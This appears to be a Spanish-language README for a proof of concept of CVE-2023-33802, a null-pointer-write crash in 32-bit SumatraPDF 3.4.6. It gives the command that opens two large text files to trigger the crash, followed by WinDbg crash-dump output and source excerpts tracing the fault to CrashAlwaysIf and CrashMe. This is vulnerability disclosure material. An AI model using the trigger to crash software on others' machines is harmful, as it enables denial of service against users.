cdacesec/cve-2023-33802Prueba de concepto para CVE-2023-33802, una vulnerabilidad de denegación de servicio en SumatraPDF 3.4.6 de 32 bits, provocada al abrir dos archivos de texto grandes, lo que causa una escritura en puntero nulo y un bloqueo del programa.
first.txt & second.txt) como entrada en SumatraPDF de 32 bits.SumatraPDF.exe first.txt second.txt
Se ha encontrado el siguiente fallo.
Microsoft (R) Windows Debugger Version 10.0.22000.194 X86
Copyright (c) Microsoft Corporation. All rights reserved.
Loading Dump File [C:\Users\Administrator\Downloads\sumatrapdf-3.4.6rel\sumatrapdf-3.4.6rel\out\dbg32\crashinfo\sumatrapdfcrash.dmp]
User Mini Dump File: Only registers, stack and portions of memory are available
Symbol search path is: srv*
Executable search path is:
Windows 10 Version 19044 MP (12 procs) Free x86 compatible
Product: WinNt, suite: SingleUserTS
Edition build lab: 19041.1.amd64fre.vb_release.191206-1406
Machine Name:
Debug session time: Tue Sep 27 14:18:04.000 2022 (UTC + 5:30)
System Uptime: not available
Process Uptime: 0 days 0:04:07.000
..............
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(22a4.a40): Access violation - code c0000005 (first/second chance not available)
For analysis of this file, run !analyze -v
eax=c0000034 ebx=020fe29c ecx=00000000 edx=00000000 esi=00000000 edi=0000029c
eip=772629fc esp=020fe0f0 ebp=020fe160 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200216
ntdll!NtWaitForSingleObject+0xc:
772629fc c20c00 ret 0Ch
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for SumatraPDF.exe
KEY_VALUES_STRING: 1
Key : AV.Dereference
Value: NullPtr
Key : AV.Fault
Value: Write
Key : Analysis.CPU.mSec
Value: 2827
Key : Analysis.DebugAnalysisManager
Value: Create
Key : Analysis.Elapsed.mSec
Value: 3238
Key : Analysis.Init.CPU.mSec
Value: 640
Key : Analysis.Init.Elapsed.mSec
Value: 12340
Key : Analysis.Memory.CommitPeak.Mb
Value: 118
Key : Timeline.Process.Start.DeltaSec
Value: 247
Key : WER.OS.Branch
Value: vb_release
Key : WER.OS.Timestamp
Value: 2019-12-06T14:06:00Z
Key : WER.OS.Version
Value: 10.0.19041.1
Key : WER.Process.Version
Value: 3.4.6.0
CONTEXT: (.ecxr)
eax=00000000 ebx=01e76000 ecx=00000000 edx=00000000 esi=007914b5 edi=007914b5
eip=77257a6e esp=020ffbc8 ebp=020ffbd0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
ntdll!_RtlUserThreadStart+0x1b:
77257a6e cc int 3
Resetting default scope
EXCEPTION_RECORD: (.exr -1)
ExceptionAddress: 0089b083 (SumatraPDF!CrashMe+0x00000013)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 00000000
Attempt to write to address 00000000
PROCESS_NAME: SumatraPDF.exe
WRITE_ADDRESS: 00000000
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE_STR: c0000005
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 00000000
FAULTING_THREAD: ffffffff
STACK_TEXT:
0089b083 0089b083 SumatraPDF!CrashMe+0x13
FAULTING_SOURCE_LINE: C:\Users\Administrator\Downloads\sumatrapdf-3.4.6rel\sumatrapdf-3.4.6rel\src\utils\BaseUtil.h
FAULTING_SOURCE_FILE: C:\Users\Administrator\Downloads\sumatrapdf-3.4.6rel\sumatrapdf-3.4.6rel\src\utils\BaseUtil.h
FAULTING_SOURCE_LINE_NUMBER: 200
FAULTING_SOURCE_CODE:
196: // but it seemed to confuse callstack walking
197: inline void CrashMe() {
198: char* p = nullptr;
199: // cppcheck-suppress nullPointer
> 200: *p = 0; // NOLINT
201: }
202: #if COMPILER_MSVC
203: #pragma warning(pop)
204: #endif
205:
SYMBOL_NAME: SumatraPDF!CrashMe+13
MODULE_NAME: SumatraPDF
IMAGE_NAME: SumatraPDF.exe
STACK_COMMAND: .ecxr ; kb ; ** Pseudo Context ** Pseudo ** Value: d ** ; kb
FAILURE_BUCKET_ID: NULL_POINTER_WRITE_CONTEXT_MISMATCH_c0000005_SumatraPDF.exe!CrashMe
OS_VERSION: 10.0.19041.1
BUILDLAB_STR: vb_release
OSPLATFORM_TYPE: x86
OSNAME: Windows 10
IMAGE_VERSION: 3.4.6.0
FAILURE_ID_HASH: {1595dcef-2e27-85d9-39da-85ddbd1355a2}
Followup: MachineOwner
---------
0:000> !msec.exploitable
!exploitable 1.6.0.0
Warning: Unable to read from the TEB in the current thread.
Warning: Unable to read from the TEB in the current thread.
Exploitability Classification: UNKNOWN
Recommended Bug Title: User Mode Write AV near NULL starting at ntdll!_RtlUserThreadStart+0x000000000000001b (Hash=0xcc3d4e45.0x55921273)
User mode write access violations that are near NULL are unknown.
if (s->buf == s->els) {
newEls = (char*)Allocator::Alloc(s->allocator, allocSize);
if (newEls) {
memcpy(newEls, s->buf, s->len + 1);
}
} else {
newEls = (char*)Allocator::Realloc(s->allocator, s->els, allocSize);
}
if (!newEls) {
CrashAlwaysIf(gAllowAllocFailure.load() == 0);
return nullptr;
}
CrashAlwaysIf se llama en la función EnsureCap como una forma de manejar un fallo en la asignación de memoria. Cuando la función Alloc o Realloc devuelve un puntero nulo, lo que indica que la asignación de memoria ha fallado, se llama a la macro CrashAlwaysIf para provocar que el programa falle intencionadamente porque internamente llama a la función CrashMe que establece un puntero nulo a un valor no nulo, lo que causará una violación de acceso cuando el programa intente desreferenciar el puntero nulo. Esto desencadenará una excepción y provocará el fallo del programa.La vulnerabilidad se ha probado en la siguiente versión: